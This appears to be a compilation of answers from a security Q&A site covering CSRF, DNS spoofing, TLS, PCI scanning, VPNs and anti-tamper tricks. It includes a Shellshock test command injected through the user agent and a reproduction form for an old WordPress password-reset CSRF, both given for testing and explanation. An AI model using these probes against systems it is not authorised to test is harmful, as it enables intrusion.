Description - technical description of what the issue is and importantly under what circumstances it is likely to cause a security issue (e.g. for Cross-Site Scripting one of the potential issues is use to grab session tokens which could allow an attacker to get unauthorised access to the application)
Recommendations - How the issue should be resolved, where possible include specific details on vendor guidance to fix it (e.g. things like removing web server versions from headers have specific instructions for Apache/IIS etc)
References - Any links to additional information that's relevant to the finding (e.g. links to the relevant OWASP page for Web app. issues)
Severity.  As I mentioned above this could be CVSS or something more general like High/Medium/Low based on impact and likelihood.
Other classification as needed by the client.  For instance some client might need things lined up against a standard or policy or something like OWASP Top 10.

One other point to make is that if your do a lot of tests it's well worth having a database of previous findings to avoid having to look up references repeatedly and to make sure that severities are consistent.


Do Cyber Range(s) detect Business Logic Security Failures?

Cyber ranges can be set up to simulate anything you want.

Most commonly they are used to simulate vulnerabilities so people can learn to exploit them but it would be easy to setup a misconfigured application which allows for business-logic exploitation. There are some intentionally poorly written web apps that simulate shopping carts and also a fake bank where you can play with business logic a little bit on Damn Vulnerable Linux. Possibly not the same type of business logic that you have in mind but it does exist already.

If the network you are simulating also has detection capabilities you could also simulate the defensive tools in use and in that situation you could have a Cyber Range which does detection. This is useful for practicing evading defenses.

That said the tools which typically would spot business logic threats frequently fall into a different category, Fraud detection, and these are not normally something you would see in most Cyber Ranges at this time. You could deploy them but it's so specific to a given business/organization that it's simply not something people would commonly train on. Again, you could do this if you wanted.

The following may be a good Cyber Range platform to get you started:
https://opencyberchallenge.net/

Per edit to question: Cyber Ranges can be made to simulate huge networks with thousands of hosts fairly easily. That said, getting specific business logic and business logic monitoring into that environment would take additional work and is not something commonly done but it is something that can be done. At this time I think the answer for most ranges is that what you are asking about would almost never be detected because it's not a typical goal for these ranges. As I said earlier though you can set these up to simulate anything you want so if you want to simulate tests against systems with fragile business logic issues and monitor that you definitely can but it's not something you will find commonly done at this time.


Is there a tool to rate browser TLS/SSL configuration?

How's My SSL? (new)
ssllabs-clienttest; very basic yet.
SSL Cipher Suite Details /  https://cc.dcsec.uni-hannover.de/


How can I better protect my LAN from Internet Hackers

Placing a second firewall in front of your current one would offload some of the processing of scans/probes/attacks and free up CPU cycles on your Netgear router/switch/AP. Just get another Netgear and configure the two devices to talk to each other.

BUT, I do not have high hopes that this will accomplish what you seek. It is unlikely that your Netgear is so overwhelmed that it cannot properly handle legitimate traffic. Look to see what the actual problem might be. Too many machines communicating at once? Line noise/interference? Infected machines sending bot traffic?

Set up Wireshark on one of your wired machines and on a wireless machine and see what is going on on the line.


DNS spoofing doesn't change which domain a victim reaches, but rather which IP it thinks the domain points to. As an example, if I try to fetch the DNS A record for http://example.com, and an attacker performs DNS spoofing, they can falsify the DNS A record contents in the response and point me to an attacker-controlled IP address. My browser still shows http://example.com in the URL, but it connects to the attacker's IP rather than the correct IP. This is a common man-in-the-middle trick.

The solution for this is SSL/TLS. Your browser goes to visit https://example.com and the attacker performs DNS spoofing, but since the attacker cannot own a valid CA-signed certificate for that domain the certificate will show up as invalid and the browser will not connect. This only work if your web page directly points to the HTTPS version of the site, though. If you point to HTTP and the server redirects you to HTTPS, an attacker can still man-in-the-middle the initial HTTP connection and proxy that rather than forwarding you to HTTPS.

By X-Allow-Origin I assume you mean Access-Control-Allow-Origin (ACAO), which is part of Cross-Origin Resource Sharing (CORS). CORS tells the browser which other domains can access data on your server from using Ajax, for example xyz.com can set an ACAO header that allows scripts on bbb.com to access data on its site. This does not prevent DNS spoofing attacks. As I described above, your browser still thinks you're visiting the original domain name, it's just that the IP address for that domain is illegitimate.

Frames are controlled by X-Frame-Options, which specifies a policy of which domains (if any) can load your webpage inside a frame. This is mostly a protection against clickjacking and UI redressing. The X-Frame-Options header is now deprecated in favour of the frame-ancestors Content Security Policy (CSP) directive, which has more granular control over frames than X-Frame-Options does. Again, this operates on domains not IPs, so it doesn't prevent DNS spoofing.

In both cases (frame options and CORS) they rely upon your browser being able to tell that it is visiting a legitimate server, hence the need for HTTPS.

Luckily, you've got some weapons in this fight. The first is HTTP Strict Transport Security (HSTS). By setting this header you can tell a browser that all subsequent visits to the site must be over HTTPS, and if it sees a HTTP URL it should automatically use a HTTPS one instead. This means that all visits except the first are protected against man-in-the-middle attacks. HSTS also (usually) prevents the browser from allowing the user to skip past the certificate error. Since you're using TLS, an attacker can't do a man-in-the-middle attack regardless of what type of spoofing they use (DNS, ARP, etc.)

The next trick is to explicitly use https:// for the third party domain in the ACAO header, i.e. https://bbb.com rather than http://bbb.com or bbb.com. This means that if a user visits the third party site over plain HTTP, their browser will refuse to communicate with your site because of a CORS policy violation. This protects you against cases where an attacker does a man-in-the-middle attack against the 3rd party rather than your site.

Thirdly you can use X-Frame-Options and CSP's frame-ancestors directive to restrict which other domains can load your page in an iframe. Again you can specify https://bbb.com explicitly to ensure that the 3rd party can only load your page in an iframe when the user has visited it over HTTPS.

If the request fails due to CSP, it may be possible to detect that directly in JavaScript, but this StackOverflow question suggests not - it just appears as an error state like any other. However, what you can do is configure CSP reporting, which causes the user's browser to send a report to a URL of your choice containing details about the event whenever something is blocked by CSP. You can implement CSP report logging on your own server, but if you're looking for a quick and easy (and potentially free!) solution I would suggest considering signing up to report-uri.com to handle this for you.


It is not secure and anonymous per se. VPNs like that (RasberryPi VPN at home) will only make sense when you are in some insecure location (like starbucks, airport, public wifi etc) when there is very reasonable expectation that your connection will be monitored (and probably hijacked).

Using VPN to your rPi at home will (ideally) make all those connections as secure/anonymous as you were sitting at home at the time (instead of, say, starbucks). Which is by no means totally secure or anonymous, but is way better than what you'd get in hostile environment which is targeted all the time by many crackers (like airport wifi).


11.2.1 Perform quarterly internal vulnerability scans. Address vulnerabilities and perform rescans to verify all “high risk” vulnerabilities are resolved in accordance with the entity’s vulnerability ranking (per Requirement 6.1). Scans must be performed by qualified personnel.

For internal scans you could use Nessus as long as you have documented procedures and the personnel are "qualified."

  11.2.2 Perform quarterly external vulnerability scans, via an Approved Scanning Vendor (ASV) approved by the Payment Card Industry Security Standards Council (PCI SSC). Perform rescans as needed, until passing scans are achieved.

For external scans, the scanning must be performed by an approved scanning vendor (ASV). You can find the list of ASVs at https://www.pcisecuritystandards.org/assessors_and_solutions/approved_scanning_vendors. In that case Nessus would not be usable by your own organization, as an ASV must be a third party.


WPA2 Enterprise: no risks for preconfigured clients when it comes to Rogue APs?

In theory PEAP exchanges only happen over a tunnel established by a certificate trusted by the CA.

Client behaviour when presented with an untrusted certificate is down to individual UX implementation. My android 8.1 phone will prompt me to accept a certificate which is not trusted, my MacOS Sierra machine will just go ahead and connect.

Although widely used; MsChapsv2 is not a secure inner tunnel authentication mechanism! It can be directly computed with 100% success rate in a couple of hours on an FPGA or for only a few hundred dollars of cloud compute.


Attack scenarios of the new Bash vulnerability

The easiest way to test a web server via HTTP request is to inject the bash command through the user agent. Example:

$ wget -U '() { :;}; /bin/bash -c "echo vulnerable"' http://example.com/some-cgi-script

If a 5XX server error is generated, it means that the server is probably vulnerable to an exploit. For possible attack scenarios, please refer to this answer

Please test this on your own servers - trying this on other people's servers may get you in trouble.


Is there any way I can block (or conditionally approve of) iFrames on the client side?

Normally this would be a tough one as iFrames are a part of the HTML spec.  Hooray Browser Scripting!

One solution could be to use a greasemonkey script for FireFox or an embedded script in Chrome.  Here is a link to a Greasemonkey script which claims to do what you want and a bit more.

http://userscripts.org/scripts/show/32192

You may have to tweak it slightly to get the exact desired results but this should get you going.

Share and enjoy.


Is it possible to login on an machine with keylogger installed without compromising your password?

Go on your phone and change your password to a random one
Login on the compromised PC using the random password
On your phone change the random password back to your normal one


How to share passwords *only* after death?

I’d like to point out that there is an epistemic inconsistency in the reasoning here: you’re willing to trust large tech companies like Apple or Google but not a bank and its safety deposit box product. I think that’s an inconsistency that cannot be overstated. Personally I would be far more inclined to trust a safety deposit box from a large, multi-generational bank than a tech company.
Safety deposit box access usually require two things: access based on proof of identity for an authorized individual and possession of the box key. These can be two separate people, by the way: you can authorize a person with the bank for access that is different from the person to whom you give the key, so as to implement a two-person rule.
As well, the bank cannot open your box without drilling the lock, so you would know if the box was ever opened without your permission.
Putting an encrypted secret key in the box (or even better, a physical key like a yubikey) could allow you to implement a three-person rule: one is authorized to access the box, one has the key to the box, and one knows the PIN to unlock the secret key on the yubikey. They must all co-operate and agree in order to access the password manager or encrypted file that stores the actual passwords.
If you can’t find true trust amongst at least one of three people in your life, you’re focused on the wrong things.


Is SubjectAlternativeName in X.509 always used for DNS Names?

There are X.509 certificates in general and there are X.509 certificates as used with HTTPS. For HTTPS just using a common name is long considered obsolete and browsers like Chrome insist on having a subject alternative name. Also, as defined in RFC 6125 and RFC 2818 if a DNS subject alternative name exists the common name should not be checked at all.

Anyway, this is just HTTPS. For different use cases different requirements exist. But I'm not aware of any use case where common name or other parts of the subject should be checked even if a subject alternative name already matches.


Encryption - which are/aren't NSA backdoored

Assume that I tell you:

  Yeah, that library is safe and not backdoored by the NSA

then would you trust it ? After all, it was guaranteed safe by "some guy on the Internet who uses a plush teddy bear for his face". Cannot get better than that !

(Trust is at the root of the whole business. Making sure that a given system is free of backdoors is, ultimately, as unsolvable as your question is unanswerable.)


Verify a website user is behind corporate firewall?

How can I reliably/securely tell if the user visiting our website is coming from inside of the corporate firewall? Is verifying the IP address enough?

I think a bigger concern is "can you write this code in such a way nobody could manipulate it?" I very much doubt it, however, there are things you can do.

Edit Ok, old answer was probably being a bit security paranoid here. Introducing debug code into your live app is a security risk because it's another level of authentication you need to definitely stand up to scrutiny. However, in certain scenarios, that might be acceptable.

In the case of an online store, I could say the best option is client side SSL certificates signed by a trusted certificate the server knows about, possibly combined with IP address restrictions. Keep a revocation list Reasons for this:

Pretty hard to spoof. The certificate has to be signed and authorised by you first and installed into the client browser. Thus security becomes controlling access to authorised certificates - you can invalidate them server side by keeping a revocation list/whilelist of trusted "I will show profile information to"
You're using SSL anyway in the slowest case (logged in user) therefore you can assume SSL-based traffic times are upper bounds (plain HTTP will be faster, but only marginally).
Rely on existing crypto implementations rather than attempting to implement something new that might possibly be broken cryptographically speaking.
You could actually relax the IP requirements to a certain extent; developers can test from home too.


security difference between sudo make install versus sudo su make install

From a practical security standpoint, I do not see a difference. In either case, you are running the command with root privileges, and any malicious code in the repository could take over the system in either case. There's not much else to it.
Perhaps this is a policy interpretation, or maybe the requirement is not security related at all (still not sure why it would make a difference).


Store/retrieve users passwords on server (using password managers ?)

Maybe you can use a kind of Vault for storing secrets. There is an Open Source project named Vault at https://vaultproject.io/. It provides a lot of options and access control. Take a look.

As others already said, this is bad practice. Authentication is made to link virtual account with physical person. That's actually breaking this.


Yeah, the cookie will be sent automatically with all requests by the browser. So only using a token in a cookie defeats the whole purpose of CSRF defence.

So... Are all sites where you see CSRF tokens in cookies vulnerable? No. Most likely, the value in the cookie is included somewhere else as well, e.g. in a header or hidden form field. This is known as the "double submit cookie" pattern, and it has the advantage that it requires no server state. As usual, OWASP got you covered:

  When a user authenticates to a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine separate from the session id. The site does not have to save this value in any way, thus avoiding server side state. The site then requires that every transaction request include this random value as a hidden form value (or other request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can force a victim to send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the request parameter or form value must be the same, the attacker will be unable to successfully force the submission of a request with the random CSRF value.


Why do login forms still use 'name = "pass"' or similar?

Autofill. Most browsers now have password managers, which are arguably more secure than remembering your password as they allow you to have different passwords that are illegible for each site. How can a user remember that their Facebook password is "a!34-tU62-He4M", and their google password "e4T?-y5Bf-6gR6". Compound that with the number of accounts people have and it becomes insane. Now, if all a user needs to remember is their master password, and provided the passwords are stored securely, they can have unique passwords for each site that are secure.

Password managers can only work if they know what the input is. A field named "x1" means nothing to a password manager, and it won't capture or fill in data to it. A field however named "password" will be flagged.


A Wordpress user can  go to this URL and request a password reset link via email:

https://yourwordpress.example/wp-login.php?action=lostpassword

The reset link will look similar to this:

https://yourwordpress.example/wp-login.php?action=rp&key=dDnnToiqjYtsa9KdfVZl&login=admin

The key parameter in the URL ensures that only the reciever of the email is able to reset the password. After visiting the reset link you will be presented with a form to enter the new password.

Prior to Wordpress 4.0.1, this form didn't supply an anti-CSRF token. Instead, the key GET parameter is saved into a cookie and after submitting the new password the cookie value is verified.
This means that a user is vulnerable in the time between clicking on the password reset link and entering the new password. In that timeframe, and only then, an attacker could potentially launch a CSRF attack to change the password to an arbitrary value. (But because of this small window of opportunity the bug has limited value in a real-life attack.)

So to reproduce the vulnerability, you could do this:

Request a password reset link. (e.g. for user admin)
Visit the reset link (but don't enter a new password).
Simulate a CSRF attack by submitting this form from an attacker-controlled domain with an arbitrary password:

<form action="https://yourwordpress.example/wp-login.php?action=resetpass" method="post">
    <input type="hidden" name="user_login" value="admin">
    <input type="password" name="pass1">
    <input type="password" name="pass2">
    <input type="submit" name="wp-submit" value="Reset Password">
</form>

The issue was fixed by adding the reset token to the form (in addition to the cookie):

<input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" />

And the reset attempt is invalidated when rp_key doesn't match:

if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) {
    $user = false;
}


Generic error message for wrong password or username - is this really helpful?

No, you are correct that at some point during efforts to prevent attackers from determining valid user identities you will either have to lie to them or provide exceptionally vague error messages.

Your app could tell a user that "the requested username is unavailable" and not be specific as to whether it was already in use or just didn't meet your other username requirements (length, character usage, reserved words, etc.).  Of course, if these details are public then an attacker could work out that their guess failed due to the account being in use and not due to invalid format.

Then you also have your password reset system.  Do you accept any username/email address and say a message was sent even if that account wasn't in your database?  What about account lockout (if you're using it)?  Do you just tell the user that their credentials were invalid even if if they weren't but instead their account was locked out, hoping they contact customer support who can identify the problem?

It is beneficial to increase the difficulty for attackers to gather valid usernames, but it typically is at a cost of frustrating users.  Most of the lower security sites I've seen do use separate messages identifying whether the username or password is wrong just because they prefer to err on the side of keeping users happy.  You'll have to determine if your security requirements dictate prioritizing them over the user experience.


How to protect your wifi traffic from sniffing if untrusted people know the password?

Use WPA2-Enterprise (which uses 802.1X). Not only does every user have their own credentials, but their connections are encrypted with different keys. Note that this requires additional infrastructure; a RADIUS server at a minimum.


Why are keyloggers a problem for password managers?

I don't think you are missing anything obvious.  The other article's question and answers actually focus on stopping the key logger sending messages out of the network.

The technique you're talking about is how an application, which knows it may be a target for a key logger, may stop the key logger getting the information in the first place.


NAS with a public IP and multiple file sharing services – security concerns

Risks

Every listening port you leave exposed to the internet increases your risk and likelihood of compromise. I doubt that you have a legitimate need for most of those services, and I'd be willing to bet at least one or more of them is vulnerable, misconfigured, or secured with weak or known credentials.

In addition, some of the remote services may not provide the confidentiality you are looking for due to weak or nonexistent encryption. For example, everything that happens over your FTP service will be plaintext and visible to anyone who is able to observe the connection. Modern versions of SAMBA (SMB services on Linux) may be reasonably secure, but it may be possible to downgrade or man in the middle these connections such that the data or credentials can be read.

So, in short, the risks include unauthorized access, passive interception of data, and complete compromise due to exploitation of a vulnerability.

Mitigation

The ideal solution, as you have mentioned, would be to place this device behind a VPN. That way, you would no longer need to worry about exposure of vulnerable services or protocols with poor security. The only concern is administrative; you need to set up a VPN server and manage how clients will access it.

Alternatively, you could configure a firewall between the device and the internet, only allowing the ports that are absolutely necessary for remote access (you certainly don't need remote MySQL access, for instance). This reduces overall attack surface but does not completely eliminate the issues that the VPN would.


Is it safe to disable connection tracking in iptables?

The short answer
Usually you will only need connection tracking for outbound connections. If any local device makes a connection to the Internet, the firewall records that this specific IP and port tried to make a connection to the other IP and port.
Thus when the answer from the Internet arrives, the firewall knows to let it pass, because it has seen an outgoing packet before.
If there was no connection tracking in place, you would have to place explicit rules as to where from or where to a packet may travel (for example, allow all packets from google.com port 80). It's easy to see that this would make firewall rules quite complicated.
The long answer
There are only subtle differences between the two solutions if used for inbound connections. One difference is on which system the CPU load of checking packets occurs. If you have a dedicated computer/router/firewall (called firewall from here on) doing this, with connection tracking enabled, this device will check at least the plausibility of a packet. This will free the application server (the server getting the packets) from doing so.
The plausibility refers to that the packet comes from the expected host and the expected port in the case of UDP, and additionally on the sequence number in the case of TCP.
Usually the validation can only happen inside the application layer, since the validity can only be assured based upon the protocol in the application itself.
There are three consequences from these assumptions:

The CPU and network load is moved towards the "edge" of the network in the case of state tracking. That means the (usually) first device on your network will perform some basic inspection of the packet, before forwarding it into the local network, thus keeping your internal network clean and the load on the firewall.
The application server will only need to worry about whether the packet is valid, i.e. if the data inside the packet conforms to the expected protocol.
This might open up the possibility to overtake an UDP connection, depending on the protocol. If the application has no (or no reliable) way to authenticate the sender of a packet, it would accept the correct payload from any IP address. For example in a data transmission it would be possible to send garbage to the receiver, if the UDP packet passes validation.

Nevertheless common practice (unless in high-security environments) is to use (general) connection tracking for outgoing connections only, as to not having to explicitly allow every Internet server to answer to a request from the local network. For the case of incoming connections, you usually really just allow the (defined) port to be reachable (-A INPUT -p tcp --dport 80 -j ACCEPT). This would apply to new connections, but would also apply to existing connections, avoiding the overhead, to keep track of the connection. Similarly you would only forward packets to a specific destination port to an application server inside your local network.
application-specific connection tracking
There is one case I did not mention yet and that is application-specific connection tracking. For a few protocols (ftp, irc, tftp, amanda, sip and possibly others, see http://www.iptables.info/en/connection-state.html#COMPLEXPROTOCOLS for example) there may be special iptables modules to allow advanced tracking of the connection. For example in FTP, you would open a connection from the client to the server on port 21, called the control connnection, which should be opened in the firewall by normal means. Inside this channel, the client and server then define a second connection where the raw file data would be sent. Usually this connection is established from the server to the client (in ACTIVE mode). This local and remote port are seemingly random, so they cannot be defined in a static firewall configuration file. If there was a firewall with iptables on the client's network, it would deny this connection, because there is no former association. With application-specific connection tracking the module would look "into" the packet content to see whether such an agreement has been made and the firewall would allow a new incoming connection on the agreed port, even if there was no connection on it before.


PCI DSS: Is there a way to pass encrypted billing data through a server without compliance?

Disclaimer: I'm not a PCI expert, but I felt morally obligated to chime in with some perspective. There are a number of similar PCI related questions you can find in the "related" tab - PCI is not just a matter of paying for compliance.

PCI compliance is applicable to anyone who processes credit card information. That would be anyone who can take that card and turn it into cash, so to speak - or who has a service agreement with a different company that can do things with that card.

If you had a relationship with a credit card processor (there are many services available), you would almost certainly be contractually obligated not to store this information - but you would also almost certainly use the credit card processing company for storage, so you wouldn't need to deal with compliance.

If you were processing card information directly, you would need to be PCI compliant, but it's not just about number of servers, but your entire set of processing behavior, and it would be very difficult to comply because your fundamental application model is broken.

The example use case you describe, PCI Compliance is the least of your worries, because your application workflow model is basically tantamount to a guy on the street hanging out outside a Costco or other members-only store and saying "give us your credit card and tell us what you want us to buy for you, and we'll go into the store and buy it... until they ban us because someone keeps giving us stolen credit cards."

You can't hold on to a customer's card information so you can submit it on other web sites. Period. It's a logistical and security nightmare for a number of reasons.

There's big business in validating if a stolen credit card works - scammers are constantly trolling the internet for sites that don't have rate limits or captchca checks so they can test card numbers against them. This is great for them because it sounds like they're even telling you what to buy and what card to use, and even support different sites! It's like an API for spammers.
Stores are just going to ban you sooner or later, probably for using stolen cards or placing many orders with different addresses and payment information, which will trigger all sorts of fraud checks.
There's no benefit to your server handling this data instead of it all happening directly on a user's machine - a script or client side application could purchase directly from a user's computer, without trying to awkwardly make the workflow go through your own servers. I expect this would impact your business model, though.
If your idea of submitting data for asynchronous task execution to a server is "see if one of the ports is free", you don't want to be dealing with credit card information and the liabilities associated with it. It betrays a general lack of experience with software architecture and development... which is fine for an passion project, but is a really bad idea when you want to be touching credit card numbers. You're talking about a system that if misused could get you sued, or lose people all the money in their debit accounts or leave them with hefty credit card bills if something goes wrong with the architecture or security.
It's possible that if your system was compromised in any fashion, or even if it wasn't, users wouldn't be able to claim their credit cards were stolen, because it's not uncommon for credit card user agreements to essentially say that if you give someone your card number or card so they can use it, you won't get reimbursed for fraudulent transactions.
Why not just have an application that notifies users when things they've flagged go on stock? There are existing plugins and applications that can make it simple for them to fill in card information, without needing to deal with storing it.


Is it secure to use one CSRF token multiple times?

Do you have an idea how they transform code into CSRF token and how is
  this token used for CSRF protection? Please could you explain how it
  works?

You're mixing things up in your question.

From your instagram quote:

  You may provide an optional state parameter to carry through a
  server-specific state. For example, you can use this to protect
  against CSRF issues.

Notice that it's the state parameter that's used for CSRF protection, and it's independent of the code and how that's exchanged for a token.

Basically, when the app sends the user off to Instagram to perform the authorization procedure, it needs a way to ensure the user that comes back with a code is the same one and not some attacker. That's where the state parameter fits in, the authorization server will reflect whatever value is in the state parameter back to the calling app, allowing it to function as a CSRF token.

The important bit is that through the whole code part of the process, the user-agent is acting as an intermediary between the app and the authorization server. The authorization server has a code for the app, but it is given to the user who then gives it to the app.

The exchange of the code for a token is not handled through the user-agent, the state parameter is no longer needed once the app has the code because it comunicates directly with the authorization server (ideally authenticated with an API key and secured with TLS).

The code is not exchanged for a "CSRF token", the code is exchanged for an access_token that allows the app to perform operations on the protected resource (the instagram account) on behalf of the user.

The CSRF token sent in the state parameter is the "client side" of your usual CSRF token (the one you put in a hidden input field on your forms).

Since the CSRF token will (by design) be sent in GET requests, it's advisable to make them unique and not reuse them. See the Disclosure of Token in URL from the OWASP article from your edit.


Can cable modem (with no router) get infected?

Any digital "modem" is a computer with firmware that has the potential to be misappropriated.

However, it isn't that likely to be honest. If you are concerned, you should probably try and persuade your cable company to replace it.

You could also simply put a router inside of it which is a common configuration for security. Many new-ish routers no longer have "modems" built in since both cable and broadband (e.g. FTTC) no longer need them as it is common for users to be presented with an ethernet connection.

Worth noting that certainly many broadband "modems" are actually routers with a fixed configuration set by the ISP. Not sure about cable modems I'm afraid having never used one.


Metasploit is not detecting newly imported python exploit

After checking the link you provided on comments to the exploit you are trying to import on Metasploit, I must say that it is not compatible to Metasploit. I mean, the script you are trying to import never is going to work on Metasploit. This is the link you provided on the comments: https://www.exploit-db.com/exploits/40136/

Metasploit now has the feature to import python modules, that's true but it is not able to import any python script. The script must have a structure. A python script that can be imported to Metasploit should follow these rules: https://github.com/rapid7/metasploit-framework/wiki/Writing-External-Python-Modules

Bear in mind that the module must be able to "talk" to Metasploit interface. There is a couple of links you can read about how to deal with it:

http://www.primalsecurity.net/python-for-metasploit-automation/

https://www.optiv.com/blog/scripting-metasploit-with-python


What is difference & link between threat modelling and vulnerability assessment?

Answer based on personal experience.
Vulnerability Assessment := Do we have a software bug with a security implication? ie is there a bug in the source code that needs a patch?
Threat Model := What is the environment in which this bug exists? ie is the vulnerable code actually reachable in our application? Is it only reachable by trusted admins?
So you might come out with a conclusion like "According to the vulnerability assessment this is a bug and needs a patch, however according to the threat model it is not actually exploitable in our current deployment so the risk is low".
In my experience, CVEs sometimes do threat modelling, for example when the CVE is against a complete product and the deployment architecture and configuration is known (think github.com, or Windows). But often CVEs are filed against low-level libraries and frameworks (think openssl or struts) where the CVE can only say something like "If you use X functionality, then you may be vulnerable to ..." because the context for threat modelling depends on how different applications use this functionality.


Can webpages recognize that I saved my password?

Javascript can read password dialogs just like any other field:

document.getElementsByName("passwordentry")[0].value

so you can certainly have a piece of javascript that checks if the password field has been filled in much faster than humanly possible, as long as the user has javascript enabled..

You may want to implement a proof-of-concept to see how effective this is in practice and if there are any unforseen difficulties come up. edit A very important point by @Stephen Touset is that there are many different types of automatic password entry. It is important to be aware of them to detect them all.


Is it safe to pass an OpenID Connect ID token to my back-end API for verification?

The purpose of id_token is for your application acting as OIDC Client to do stuff with. Locating a user in your app based on token claims falls under the definition of "stuff". From OIDC spec:

OpenID Connect returns the result of the Authentication performed by
the Server to the Client in a secure manner so that the Client can
rely on it

"Safe" and "security concerns/considerations" imply a value judgement. Weighing the repercussions of a particular action requires a threat model. Good news: a lot of threat modeling work has already been done on OpenID Connect. Bad news: it's complicated.


HIDS detection system and registry changes

I'd recommend having a look at the SANS Forensics blog (http://computer-forensics.sans.org), they've a few articles on Windows Registry analysis such as http://computer-forensics.sans.org/blog/2010/10/20/digital-forensics-autorun-registry-keys/.

Here's the link to all their blog posts on Registry Analysis - http://computer-forensics.sans.org/blog/category/registry-analysis.

It might be worth installing the Sysinternals tools for complementary analysis - http://technet.microsoft.com/en-us/sysinternals/default.aspx

Regarding OSSEC, have you changed the configuration or is it the default install? I suspect it could be a false-positive but I'm not an expert on the Windows registry. I think the first three keys are driver-related and the last one has something to do with Windows Genuine Advantage, which I've no idea why that'd be modified.


Prevent external processes from changing .NET variable values

You can't implement this effectively.

You're running into what's generally referred to as the "DRM problem" - code running on a general purpose computing platform can always be subverted or modified by the owner of that system. Your code is no longer your code when it runs on a user system.

Designing these kinds of anti-dumping, anti-injection, anti-modification, anti-debugging, anti-cracking, anti-reversing, anti-emulation, anti-whatever-else-you-feel-like systems is an ongoing field of research and commercial effort. So far nobody has been able to produce an uncrackable protection. There have been cases where breaking protection was particularly difficult, but all schemes have eventually been broken somehow, even in the case where specialist hardware was used (see: HDCP, PS3 LV0 keys)

Discussion of what can be done to make things difficult for someone attempting to subvert your program could easily span a whole book, but here's a rough outline of tricks on a Windows platform:

Anti-analysis tricks such as:

Compression or encryption of code (packing)
Virtual machines (implement a custom processor emulator, write code for that)
Control-flow obfuscation
String and data obfuscation
Fake code
Runtime code modification

Anti-debug tricks such as:

Early execution of code (pre-EntryPoint) using TLS callbacks.
Execution time comparisons using rdtsc or GetTickCount.
Direct debugger checks (PEB flags, IsDebuggerPresent, etc)
Exploiting vulnerabilities in common debuggers (e.g. OllyDbg OutputDebugString bug)
Detection of common debuggers and tools via process names, window names, window classes, mutexes and other objects, drivers, presence of files
Injecting debugger checks into other processes (e.g. explorer) to avoid them being identified.
Endless others...

Anti-modification tricks such as:

Runtime checksums of critical code and data
Shadow copies of critical data for later verification
Encryption of memory using CryptProtectMemory API.
Moving critical operations to the kernel (using a driver) to make it harder for a user to tamper with code.

VM detection (again whole books can be written on this)
Hooking common APIs in all processes (either in usermode using DLL injection, or in the kernel) to deny or otherwise tamper with calls which attempt to access your process.
Anti-tracing tricks using software breakpoints and exception handlers.
General security hardening such as enabling NX + ASLR + ForceIntegrity, plus mitigation policies which may make it harder for software to access the process or inject DLLs.

Even if you implemented every feature on this list, it can all be bypassed with some work.

It's important to note that .NET itself doesn't necessarily have any real weakness to being memory edited that native (e.g. C, C++) executables don't. What makes .NET easier to attack in general is that the intermediate language (IL) instructions and metadata contained within can be more easily reverse engineered into something human-understandable, whereas native executables have more options for obfuscation and anti-reversing tricks and don't contain such metadata. The article you linked simply shows a way to use reflection to get access to the variable rather than a more native approach which would work just as well.


Though you might expect this if traveling to certain countries, this question hinges on whether we should trust the authorities (or a specific person, still an opinion) and somewhat separately known capabilities (which are broad).

An essential answer is the risk you're willing to accept. You could say you can't trust your device if it ever leaves your sight, or for how long, or sometimes even if you never lose track of it. Hardware exploits can (and do) pivot from zero days, but you may never encounter one.

If you're travelling in a normal, uninteresting way (where one way to be interesting is to be/act suspicious of authority) generally I'd say no, don't worry about it.


What impact do the frequency of password resets have on password reuse?

The research shows that requiring time-based password changes increases re-use (users will use a password from another site, since they've already got it memorized, or will use a near-duplicate of their previous password), decreases password complexity, and increases the odds of the password getting written down somewhere.

The answers and papers in this related question would be a good starting point for further reading, for example, the introduction and conclusion of  this one.

In short, if you want to minimize password re-use, don't require time-based password changes.  The best way I've seen to encourage unique passwords is to provide the user with a randomly-generated password at account creation, rather than letting them specify a password.


You are right that you gain access to the UID of the process/script you exploited. In the case of the Apache identity with no mandatory access control and no proper separation of developer and apache roles, you can:

destroy or deface the websites run by your Apache
change websites' code to leak all the user database at a fixed URL that you can then consult
add malicious scripts to pages to serve malware to the site's visitors
host your own websites (e.g., to grow the command and control infrastructure of your existing botnet)

With a basic mandatory access control (e.g., SELinux/AppArmor) policy that does not separate the Apache admin role from the actual process (typically, which allows the domain that runs the actual Apache binary to write to apache_*_t files) and with a read-only access to web code you can probably:

alter the configuration of Apache?
shutdown the existing Apache process (since it runs with your UID) and start a new one with your new configuration

And probably a couple of other things... Here you don't care at all about the OS in itself, you care about the ability ot host content, steal data and alter existing and visited websites. The security you retain post-exploit really depends on how well you compartmentalised your OS in the first place.


Can my isp see the (non-https) websites I visit if I use browser VPN extension?

If you are actually connected to a VPN (just using an extension may not be enough, you may need to activate it or log into the VPN server or something as well) then no, your ISP cannot see the sites you visit, even non-https sites, if you use a good VPN. Apparently a surprisingly large number of VPN services out there rely on your local configuration to look up websites through DNS queries, usually to your ISP. So if you don't choose your VPN carefully then you could easily leak information about what domains you visit, even while using a VPN.

Either way, Chrome is not your ISP. Chrome is your browser. Chrome knows every site you visit, and especially if you are logged into the browser, so does Google.


What are features of a suitable tool for tracking and reporting security incidents?

The best solution for security incidents is one that has all the people who might need to work on the incident already using it.

It's tempting (I've done it) to implement a separate security incident system.  Fears about confidentiality of the allure of security specific features make it attractive.

But in the end if the organisation already has something with SLAs, tracking and most of all the ability to assign jobs to anyone to get stuff fixed that's worth a million dollars. Use it.

You also get some bonuses: not having to support another system, management reporting already in place, reusing existing training and documentation.  There's lots of reasons not to implement something specifically for security.

(JIRA would work - but the most important thing is to use what your resolvers are using).